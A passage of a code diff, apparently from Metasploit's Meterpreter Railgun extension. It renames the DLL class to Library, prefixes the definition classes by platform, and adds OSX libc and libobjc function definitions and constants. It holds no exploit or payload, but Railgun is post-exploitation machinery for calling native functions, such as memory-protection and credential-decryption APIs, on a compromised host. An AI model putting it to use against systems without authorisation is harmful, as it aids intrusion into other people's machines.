-    const_mgr.add_const("SOL_DECNET",        0x00000105)
-    const_mgr.add_const("SOL_X25",           0x00000106)
-    const_mgr.add_const("SOL_PACKET",        0x00000107)
-    const_mgr.add_const("SOL_ATM",           0x00000108)
-    const_mgr.add_const("SOL_AAL",           0x00000109)
-    const_mgr.add_const("SOL_IRDA",          0x0000010a)
-    const_mgr.add_const("SOL_NETBEUI",       0x0000010b)
-    const_mgr.add_const("SOL_LLC",           0x0000010c)
-    const_mgr.add_const("SOL_DCCP",          0x0000010d)
-    const_mgr.add_const("SOL_NETLINK",       0x0000010e)
-    const_mgr.add_const("SOL_TIPC",          0x0000010f)
-    const_mgr.add_const("SOL_RXRPC",         0x00000110)
-    const_mgr.add_const("SOL_PPPOL2TP",      0x00000111)
-    const_mgr.add_const("SOL_BLUETOOTH",     0x00000112)
-    const_mgr.add_const("SOL_PNPIPE",        0x00000113)
-    const_mgr.add_const("SOL_RDS",           0x00000114)
-    const_mgr.add_const("SOL_IUCV",          0x00000115)
-    const_mgr.add_const("SOL_CAIF",          0x00000116)
-    const_mgr.add_const("SOL_ALG",           0x00000117)
-    const_mgr.add_const("SOL_NFC",           0x00000118)
-    const_mgr.add_const("SOL_KCM",           0x00000119)
+    const_mgr.add_const('SOL_RAW',           0x000000ff)
+    const_mgr.add_const('SOL_DECNET',        0x00000105)
+    const_mgr.add_const('SOL_X25',           0x00000106)
+    const_mgr.add_const('SOL_PACKET',        0x00000107)
+    const_mgr.add_const('SOL_ATM',           0x00000108)
+    const_mgr.add_const('SOL_AAL',           0x00000109)
+    const_mgr.add_const('SOL_IRDA',          0x0000010a)
+    const_mgr.add_const('SOL_NETBEUI',       0x0000010b)
+    const_mgr.add_const('SOL_LLC',           0x0000010c)
+    const_mgr.add_const('SOL_DCCP',          0x0000010d)
+    const_mgr.add_const('SOL_NETLINK',       0x0000010e)
+    const_mgr.add_const('SOL_TIPC',          0x0000010f)
+    const_mgr.add_const('SOL_RXRPC',         0x00000110)
+    const_mgr.add_const('SOL_PPPOL2TP',      0x00000111)
+    const_mgr.add_const('SOL_BLUETOOTH',     0x00000112)
+    const_mgr.add_const('SOL_PNPIPE',        0x00000113)
+    const_mgr.add_const('SOL_RDS',           0x00000114)
+    const_mgr.add_const('SOL_IUCV',          0x00000115)
+    const_mgr.add_const('SOL_CAIF',          0x00000116)
+    const_mgr.add_const('SOL_ALG',           0x00000117)
+    const_mgr.add_const('SOL_NFC',           0x00000118)
+    const_mgr.add_const('SOL_KCM',           0x00000119)
   end
 end
 
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb
index f82713bfee..78976481de 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb
@@ -7,12 +7,12 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_libc
+class Def_linux_libc
 
-  def self.create_dll(constant_manager, dll_path = 'libc.so.6')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'libc.so.6')
+    lib = Library.new(library_path, constant_manager)
 
-    dll.add_function(
+    lib.add_function(
       'calloc',
       'LPVOID',
       [
@@ -22,7 +22,7 @@ class Def_libc
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'free',
       'VOID',
       [
@@ -31,14 +31,14 @@ class Def_libc
       nil,
       'cdecl',
     )
-    dll.add_function(
+    lib.add_function(
       'getpid',
       'DWORD',
       [],
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'inet_ntop',
       'LPVOID',
       [
@@ -50,7 +50,7 @@ class Def_libc
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'inet_pton',
       'DWORD',
       [
@@ -61,14 +61,14 @@ class Def_libc
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'malloc',
       'LPVOID',
       [['SIZE_T', 'size', 'in']],
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'memfrob',
       'LPVOID',
       [
@@ -78,7 +78,7 @@ class Def_libc
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'mmap',
       'LPVOID',
       [
@@ -92,7 +92,7 @@ class Def_libc
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'mprotect',
       'DWORD',
       [
@@ -103,7 +103,7 @@ class Def_libc
       nil,
       'cdecl'
     )
-    dll.add_function(
+    lib.add_function(
       'munmap',
       'DWORD',
       [
@@ -113,7 +113,17 @@ class Def_libc
       nil,
       'cdecl'
     )
-    return dll
+    lib.add_function(
+      'strcat',
+      'LPVOID',
+      [
+        ['PCHAR', 'to', 'inout'],
+        ['PCHAR', 'from', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    return lib
   end
 
 end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/api_constants.rb
new file mode 100644
index 0000000000..18de955b83
--- /dev/null
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/api_constants.rb
@@ -0,0 +1,52 @@
+# -*- coding: binary -*-
+require 'rex/post/meterpreter/extensions/stdapi/railgun/const_manager'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Stdapi
+module Railgun
+module Def
+
+#
+# A container holding useful OSX API Constants.
+#
+class DefApiConstants_osx < ApiConstants
+
+  #
+  # Slurp in a giant list of known constants.
+  #
+  def self.add_constants(const_mgr)
+    # https://opensource.apple.com/source/xnu/xnu-2050.18.24/bsd/sys/socket.h
+    const_mgr.add_const('AF_UNSPEC',         0x00000000)
+    const_mgr.add_const('AF_LOCAL',          0x00000001)
+    const_mgr.add_const('AF_UNIX',           0x00000001)
+    const_mgr.add_const('AF_INET',           0x00000002)
+    const_mgr.add_const('AF_INET6',          0x0000001e)
+
+    # https://opensource.apple.com/source/xnu/xnu-2050.18.24/bsd/sys/mman.h
+    const_mgr.add_const('MAP_FILE',       0x0000)
+    const_mgr.add_const('MAP_SHARED',     0x0001)
+    const_mgr.add_const('MAP_PRIVATE',    0x0002)
+    const_mgr.add_const('MAP_FIXED',      0x0010)
+    const_mgr.add_const('MAP_ANON',       0x1000)
+    const_mgr.add_const('MAP_ANONYMOUS',  0x1000)
+    const_mgr.add_const('PROT_NONE',      0x0000)
+    const_mgr.add_const('PROT_READ',      0x0001)
+    const_mgr.add_const('PROT_WRITE',     0x0002)
+    const_mgr.add_const('PROT_EXEC',      0x0004)
+
+    # https://opensource.apple.com/source/dyld/dyld-95.3/include/dlfcn.h
+    const_mgr.add_const('RTLD_LAZY',      0x0001)
+    const_mgr.add_const('RTLD_NOW',       0x0002)
+    const_mgr.add_const('RTLD_LOCAL',     0x0004)
+    const_mgr.add_const('RTLD_GLOBAL',    0x0008)
+    const_mgr.add_const('RTLD_NOLOAD',    0x0010)
+    const_mgr.add_const('RTLD_NODELETE',  0x0080)
+    const_mgr.add_const('RTLD_FIRST',     0x0100)  # Mac OS X 10.5 and later
+
+  end
+end
+
+end; end; end; end; end; end; end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libc.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libc.rb
new file mode 100644
index 0000000000..24993a77db
--- /dev/null
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libc.rb
@@ -0,0 +1,140 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Stdapi
+module Railgun
+module Def
+
+class Def_osx_libc
+
+  def self.create_library(constant_manager, library_path = 'libc.dylib')
+    lib = Library.new(library_path, constant_manager)
+
+    lib.add_function(
+      'calloc',
+      'LPVOID',
+      [
+        ['SIZE_T', 'nmemb', 'in'],
+        ['SIZE_T', 'size', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'dlclose',
+      'DWORD',
+      [
+        ['LPVOID', 'handle', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'dlopen',
+      'LPVOID',
+      [
+        ['PCHAR', 'filename', 'in'],
+        ['DWORD', 'flags', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'free',
+      'VOID',
+      [
+        ['LPVOID', 'ptr', 'in']
+      ],
+      nil,
+      'cdecl',
+    )
+    lib.add_function(
+      'getpid',
+      'DWORD',
+      [],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'inet_ntop',
+      'LPVOID',
+      [
+        ['DWORD', 'af', 'in'],
+        ['PBLOB', 'src', 'in'],
+        ['PBLOB', 'dst', 'out'],
+        ['DWORD', 'size', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'inet_pton',
+      'DWORD',
+      [
+        ['DWORD', 'af', 'in'],
+        ['PBLOB', 'src', 'in'],
+        ['PBLOB', 'dst', 'out']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'malloc',
+      'LPVOID',
+      [['SIZE_T', 'size', 'in']],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'mmap',
+      'LPVOID',
+      [
+        ['LPVOID', 'addr', 'in'],
+        ['SIZE_T', 'length', 'in'],
+        ['DWORD', 'prot', 'in'],
+        ['DWORD', 'flags', 'in'],
+        ['DWORD', 'fd', 'in'],
+        ['SIZE_T', 'offset', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'mprotect',
+      'DWORD',
+      [
+        ['LPVOID', 'addr', 'in'],
+        ['SIZE_T', 'length', 'in'],
+        ['DWORD', 'prot', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'munmap',
+      'DWORD',
+      [
+        ['LPVOID', 'addr', 'in'],
+        ['SIZE_T', 'length', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    lib.add_function(
+      'strcat',
+      'LPVOID',
+      [
+        ['PCHAR', 'to', 'inout'],
+        ['PCHAR', 'from', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+    return lib
+  end
+
+end
+
+end; end; end; end; end; end; end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libobjc.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libobjc.rb
new file mode 100644
index 0000000000..8596512ca9
--- /dev/null
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libobjc.rb
@@ -0,0 +1,54 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Stdapi
+module Railgun
+module Def
+
+class Def_osx_libobjc
+
+  def self.create_library(constant_manager, library_path = 'libobjc.dylib')
+    lib = Library.new(library_path, constant_manager)
+
+    # https://developer.apple.com/documentation/objectivec/1418952-objc_getclass?language=objc
+    lib.add_function(
+      'objc_getClass',
+      'LPVOID',
+      [
+        ['PCHAR', 'name', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+
+    # https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend?language=objc
+    lib.add_function(
+      'objc_msgSend',
+      'LPVOID',
+      [
+        ['LPVOID', 'self', 'in'],
+        ['LPVOID', 'op', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+
+    # https://developer.apple.com/documentation/objectivec/1418557-sel_registername?language=objc
+    lib.add_function(
+      'sel_registerName',
+      'LPVOID',
+      [
+        ['PCHAR', 'str', 'in']
+      ],
+      nil,
+      'cdecl'
+    )
+
+    return lib
+  end
+
+end
+
+end; end; end; end; end; end; end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb
index 9f64a4f311..2e89977bf0 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb
@@ -7,7 +7,7 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_advapi32
+class Def_windows_advapi32
 
   CREDENTIAL = [
     [:Flags, :DWORD],
@@ -24,8 +24,8 @@ class Def_advapi32
     [:UserName, :LPTSTR]
   ]
 
-  def self.create_dll(constant_manager, dll_path = 'advapi32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'advapi32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('QueryServiceStatus', 'DWORD', [
         ['LPVOID', 'hService', 'in'],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb
index b27b154aae..b36ca6e6b7 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_crypt32
+class Def_windows_crypt32
 
-  def self.create_dll(constant_manager, dll_path = 'crypt32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'crypt32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('CryptUnprotectData', 'BOOL', [
         ['PBLOB','pDataIn', 'in'],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb
index 5c94c8dc97..003bd75647 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_iphlpapi
+class Def_windows_iphlpapi
 
-  def self.create_dll(constant_manager, dll_path = 'iphlpapi')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'iphlpapi')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('CancelIPChangeNotify', 'BOOL',[
       ["PBLOB","notifyOverlapped","in"],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb
index da6690ac8b..714574cf0e 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_kernel32
+class Def_windows_kernel32
 
-  def self.create_dll(constant_manager, dll_path = 'kernel32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'kernel32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function( 'GetConsoleWindow', 'LPVOID',[])
 
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb
index 5c4d090794..6c3f356fb2 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_netapi32
+class Def_windows_netapi32
 
-  def self.create_dll(constant_manager, dll_path = 'netapi32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'netapi32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('NetApiBufferFree','DWORD',[
       ["LPVOID","Buffer","in"]
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb
index ba3f4338a8..cb9dc0fe3c 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_ntdll
+class Def_windows_ntdll
 
-  def self.create_dll(constant_manager, dll_path = 'ntdll')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'ntdll')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('NtAllocateVirtualMemory', 'DWORD',[
       ["DWORD","ProcessHandle","in"],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb
index 9b8697a4a9..2978ecff67 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_psapi
+class Def_windows_psapi
 
-  def self.create_dll(constant_manager, dll_path = 'psapi')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'psapi')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('EnumDeviceDrivers', 'BOOL',[
       %w(PBLOB lpImageBase out),
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb
index 14c052728c..c33a38278f 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_shell32
+class Def_windows_shell32
 
-  def self.create_dll(constant_manager, dll_path = 'shell32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'shell32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('IsUserAnAdmin', 'BOOL', [
       ])
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb
index 872aa45496..4a4c7e58d8 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_user32
+class Def_windows_user32
 
-  def self.create_dll(constant_manager, dll_path = 'user32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'user32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('ActivateKeyboardLayout', 'DWORD',[
       ["DWORD","hkl","in"],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb
index 347ce1f09f..201d05f4d4 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_version
+class Def_windows_version
 
-  def self.create_dll(constant_manager, dll_path = 'version')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'version')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('GetFileVersionInfoA', 'BOOL',[
       ["PCHAR","lptstrFilename","in"],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb
index c7d1fb9c1b..2aafed6abc 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_wlanapi
+class Def_windows_wlanapi
 
-  def self.create_dll(constant_manager, dll_path = 'wlanapi')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'wlanapi')
+    dll = Library.new(library_path, constant_manager)
 
 
     dll.add_function( 'WlanOpenHandle', 'DWORD',[
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb
index 6fdecde1a6..14419c55a4 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_wldap32
+class Def_windows_wldap32
 
-  def self.create_dll(constant_manager, dll_path = 'wldap32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'wldap32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('ldap_sslinitA', 'DWORD',[
         ['PCHAR', 'HostName', 'in'],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb
index 28e0b95813..4322505991 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb
@@ -7,10 +7,10 @@ module Stdapi
 module Railgun
 module Def
 
-class Def_ws2_32
+class Def_windows_ws2_32
 
-  def self.create_dll(constant_manager, dll_path = 'ws2_32')
-    dll = DLL.new(dll_path, constant_manager)
+  def self.create_library(constant_manager, library_path = 'ws2_32')
+    dll = Library.new(library_path, constant_manager)
 
     dll.add_function('getaddrinfo', 'DWORD',[
       ["PCHAR","pNodeName","in"],
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb
similarity index 82%
rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb
rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb
index eb464e1d65..71a502e772 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb
@@ -23,8 +23,8 @@
 # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
-require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_helper'
-require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_function'
+require 'rex/post/meterpreter/extensions/stdapi/railgun/library_function'
+require 'rex/post/meterpreter/extensions/stdapi/railgun/library_helper'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/buffer_item'
 require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv'
 require 'rex/post/meterpreter/packet'
@@ -37,19 +37,19 @@ module Stdapi
 module Railgun
 
 #
-# Represents a DLL, e.g. kernel32.dll
+# Represents a library, e.g. kernel32.dll
 #
-class DLL
+class Library
 
-  include DLLHelper
+  include LibraryHelper
 
   attr_accessor :functions
-  attr_reader   :dll_path
+  attr_reader   :library_path
 
-  def initialize(dll_path, consts_mgr)
-    @dll_path = dll_path
+  def initialize(library_path, consts_mgr)
+    @library_path = library_path
 
-    # needed by DLLHelper
+    # needed by LibraryHelper
     @consts_mgr = consts_mgr
 
     self.functions = {}
@@ -64,28 +64,30 @@ class DLL
   end
 
   #
-  # Perform a function call in this DLL on the remote system.
+  # Perform a function call in this library on the remote system.
   #
   # Returns a Hash containing the return value, the result of GetLastError(),
   # and any +inout+ parameters.
   #
-  # Raises an exception if +func_symbol+ is not a known function in this DLL,
+  # Raises an exception if +function+ is not a known function in this library,
   # i.e., it hasn't been defined in a Def.
   #
-  def call_function(func_symbol, args, client)
-    func_name = func_symbol.to_s
+  def call_function(function, args, client)
+    unless function.instance_of? LibraryFunction
+      func_name = function.to_s
 
-    unless known_function_names.include? func_name
-      raise "DLL-function #{func_name} not found. Known functions: #{PP.pp(known_function_names, '')}"
+      unless known_function_names.include? func_name
+        raise "Library-function #{func_name} not found. Known functions: #{PP.pp(known_function_names, '')}"
+      end
+
+      function = get_function(func_name)
     end
 
-    function = get_function(func_name)
-
     return process_function_call(function, args, client)
   end
 
   #
-  # Define a function for this DLL.
+  # Define a function for this library.
   #
   # Every function argument is described by a tuple (type,name,direction)
   #
@@ -107,11 +109,11 @@ class DLL
   # When the new function is called it will return a list containing the
   # return value and all inout params.  See #call_function.
   #
-  def add_function(name, return_type, params, remote_name=nil, calling_conv="stdcall")
+  def add_function(name, return_type, params, remote_name=nil, calling_conv='stdcall')
     if remote_name == nil
       remote_name = name
     end
-    @functions[name] = DLLFunction.new(return_type, params, remote_name, calling_conv)
+    @functions[name] = LibraryFunction.new(return_type, params, remote_name, calling_conv)
   end
 
   private
@@ -146,12 +148,12 @@ class DLL
       end
 
       # we care only about out-only buffers
-      if param_desc[2] == "out"
+      if param_desc[2] == 'out'
         if !args[param_idx].kind_of? Integer
           raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes"
         end
         buffer_size = args[param_idx]
-        if param_desc[0] == "PDWORD"
+        if param_desc[0] == 'PDWORD'
           # bump up the size for an x64 pointer
           if native == 'Q<' && buffer_size == 4
             args[param_idx] = 8
@@ -174,11 +176,11 @@ class DLL
       end
     end
 
-    tmp = assemble_buffer("in", function, args)
+    tmp = assemble_buffer('in', function, args)
     in_only_layout = tmp[0]
     in_only_buffer = tmp[1]
 
-    tmp = assemble_buffer("inout", function, args)
+    tmp = assemble_buffer('inout', function, args)
     inout_layout = tmp[0]
     inout_buffer = tmp[1]
 
@@ -197,41 +199,41 @@ class DLL
       #puts "  processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})"
       buffer = nil
       # is it a pointer to a buffer on our stack
-      if ["PDWORD", "PWCHAR", "PCHAR", "PBLOB"].include? param_desc[0]
-        #puts "   pointer"
+      if ['PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0]
+        #puts '   pointer'
         if args[param_idx] == nil # null pointer?
-          buffer  = [0].pack(native) # type: DWORD  (so the dll does not rebase it)
+          buffer  = [0].pack(native) # type: DWORD  (so the library does not rebase it)
           buffer += [0].pack(native) # value: 0
-        elsif param_desc[2] == "in"
+        elsif param_desc[2] == 'in'
           buffer  = [1].pack(native)
           buffer += [in_only_layout[param_desc[1]].addr].pack(native)
-        elsif param_desc[2] == "out"
+        elsif param_desc[2] == 'out'
           buffer  = [2].pack(native)
           buffer += [out_only_layout[param_desc[1]].addr].pack(native)
-        elsif param_desc[2] == "inout"
+        elsif param_desc[2] == 'inout'
           buffer  = [3].pack(native)
           buffer += [inout_layout[param_desc[1]].addr].pack(native)
         else
-          raise "unexpected direction"
+          raise 'unexpected direction'
         end
       else
         #puts "   not a pointer"
         # it's not a pointer (LPVOID is a pointer but is not backed by railgun memory, ala PBLOB)
         buffer = [0].pack(native)
         case param_desc[0]
-          when "LPVOID", "HANDLE", "SIZE_T"
+          when 'LPVOID', 'HANDLE', 'SIZE_T'
             num     = param_to_number(args[param_idx])
             buffer += [num].pack(native)
-          when "DWORD"
+          when 'DWORD'
             num     = param_to_number(args[param_idx])
             buffer += [num % 4294967296].pack(native)
-          when "WORD"
+          when 'WORD'
             num     = param_to_number(args[param_idx])
             buffer += [num % 65536].pack(native)
-          when "BYTE"
+          when 'BYTE'
             num     = param_to_number(args[param_idx])
             buffer += [num % 256].pack(native)
-          when "BOOL"
+          when 'BOOL'
             case args[param_idx]
               when true
                 buffer += [1].pack(native)
@@ -259,7 +261,7 @@ class DLL
     request.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_IN, in_only_buffer)
     request.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, inout_buffer)
 
-    request.add_tlv(TLV_TYPE_RAILGUN_DLLNAME, @dll_path)
+    request.add_tlv(TLV_TYPE_RAILGUN_LIBNAME, @library_path)
     request.add_tlv(TLV_TYPE_RAILGUN_FUNCNAME, function.remote_name)
     request.add_tlv(TLV_TYPE_RAILGUN_CALLCONV, function.calling_conv)
 
@@ -285,28 +287,28 @@ class DLL
 
     # The hash the function returns
     return_hash = {
-      "GetLastError" => rec_last_error,
-      "ErrorMessage" => rec_err_msg
+      'GetLastError' => rec_last_error,
+      'ErrorMessage' => rec_err_msg
     }
 
     #process return value
     case function.return_type
-      when "LPVOID", "HANDLE"
+      when 'LPVOID', 'HANDLE'
         if( native == 'Q<' )
-          return_hash["return"] = rec_return_value
+          return_hash['return'] = rec_return_value
         else
-          return_hash["return"] = rec_return_value % 4294967296
+          return_hash['return'] = rec_return_value % 4294967296
         end
-      when "DWORD"
-        return_hash["return"] = rec_return_value % 4294967296
-      when "WORD"
-        return_hash["return"] = rec_return_value % 65536
-      when "BYTE"
-        return_hash["return"] = rec_return_value % 256
-      when "BOOL"
